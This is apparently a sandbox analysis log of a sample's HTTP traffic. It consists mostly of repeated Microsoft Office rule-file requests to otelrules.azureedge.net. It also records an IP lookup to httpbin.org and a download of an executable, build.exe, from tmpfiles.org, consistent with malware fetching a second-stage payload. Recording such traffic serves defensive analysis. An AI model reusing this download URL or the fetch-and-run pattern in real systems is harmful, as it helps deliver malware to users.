Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dl/16763651/build.exe HTTP/1.1Host: tmpfiles.org
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
